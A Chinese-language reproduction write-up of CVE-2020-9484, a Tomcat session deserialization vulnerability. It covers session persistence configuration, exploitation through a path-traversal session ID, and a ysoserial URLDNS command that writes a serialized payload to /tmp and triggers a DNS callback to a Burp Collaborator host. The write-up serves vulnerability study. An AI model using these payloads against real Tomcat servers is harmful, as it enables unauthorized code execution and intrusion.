（CVE-2020-9484）Tomcat session反序列化漏洞
===========================================

一、漏洞简介
------------

对
于一个企业级应用而言，Session对象的管理十分重要。Sessio对象的信息一般情况下置于服务器的内存中，当服务器由于故障重启，或应用重新加载
时候，此时的Session信息将全部丢失。为了避免这样的情况，在某些场合可以将服务器的Session数据存放在文件系统或数据库中，这样的操作称为
Session对象的持久化。Session对象在持久化时，存放在其中的对象以序列化的形式存放，这就是为什么一般存放在Session中的数据需要实
现可序列化接口（java.io.Serializable）的原因了。当一个Session开始时，Servlet容器会为Session创建一个HttpSession对象。Servlet容器在某些情况下把这些
HttpSession对象从内存中转移到文件系统或数据库中，在需要访问
HttpSession信息时再把它们加载到内存中。

### 实现

要完成session持久化，存放在session里的对象必须要实现`java.io.Serializable`
接口。Session的持久化是由`Session Manager`来管理的。Tomcat提供了两个实现类：

-   **org.apache.catalina.session.StandardManager** (默认)
-   **org.apache.catalina.session.PersistentManager**

### 配置

存储在本地文件中需要配置conf目录里的**context.xml**文件在`节点下添加如下`节点：

    <Manager className="org.apache.catalina.session.PersistentManager" 
        debug="0"
        saveOnRestart="false"
        maxActiveSession="-1"
        minIdleSwap="-1"
        maxIdleSwap="-1"
        maxIdleBackup="-1">
        <Store className="org.apache.catalina.session.FileStore" directory="../session" />
    </Manager>

二、漏洞影响
------------

Tomca \<= 9.0.34Tomca \<= 8.5.54Tomca \<= 7.0.103

三、复现过程
------------

### 漏洞分析

一般文件存储session的问题就是sessionID没有做过滤，允许跳出路径，让session文件变成攻击者控制的文件，导致漏洞产生，这次的session漏洞也不例外

我们选择了session的存储为FileStore，所以在FileStore类的load方法处设置断点

在servlet中创建一个很简单的java session

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            Properties properties = new Properties();
            properties.setProperty("org.apache.catalina.session.StandardSession.ACTIVITY_CHECK", "true");
            System.setProperties(properties);
            String res = System.getProperty("org.apache.catalina.session.StandardSession.ACTIVITY_CHECK");
            System.out.println(res);
            HttpSession httpSession = req.getSession();
            httpSession.setAttribute("username", "admin");
            resp.getWriter().println("success");
        }

现在我们的漏洞环境就搭建好了，设置tomcat启动即可

### 设置sessionid

我们设置sessionid存在目录穿越符号

![1.png](./resource/(CVE-2020-9484)Tomcatsession反序列化漏洞/media/rId28.png)

刷新页面，被断点拦截

![2.png](./resource/(CVE-2020-9484)Tomcatsession反序列化漏洞/media/rId29.png)

第一步先是获取到session文件

![3.png](./resource/(CVE-2020-9484)Tomcatsession反序列化漏洞/media/rId30.png)

可以看到，我们的sessionID后面会添加一个.session后缀，这也就导致我们需要一个可控文件名的文件上传，这一点就比较难以满足

但是可以看出来，不需要准确知道确定的相对录路径，一直跳到根目录即可，但是因为sessionid有长度限制的，所以还是有一点限制

### 反序列化

这个时候，我们可以跳到任意目录了，我们在tmp下面生成了URLDNS的ysoserial，来做dns查询

    java -jar ysoserial.jar URLDNS "http://lsh9lo0bpipjrb0kp98cn4khb8h15q.burpcollaborator.net" > /tmp/test.session

![4.png](./resource/(CVE-2020-9484)Tomcatsession反序列化漏洞/media/rId32.png)

只要这个session文件存在，就会将文件内容读取出来，并且创建ObjectInputStream，最后调用了readObjectData

熟悉java反序列化的话这个地方一眼就能看出来有反序列化的问题

我们继续进入readObjectData

![5.png](./resource/(CVE-2020-9484)Tomcatsession反序列化漏洞/media/rId33.png)

调用readObject，触发反序列化

### 利用截图

使用URLDNS，成功获取到DNS请求

![6.png](./resource/(CVE-2020-9484)Tomcatsession反序列化漏洞/media/rId35.png)

漏洞利用条件较为苛刻

参考链接
--------

> https://xz.aliyun.com/t/7803\#toc-1
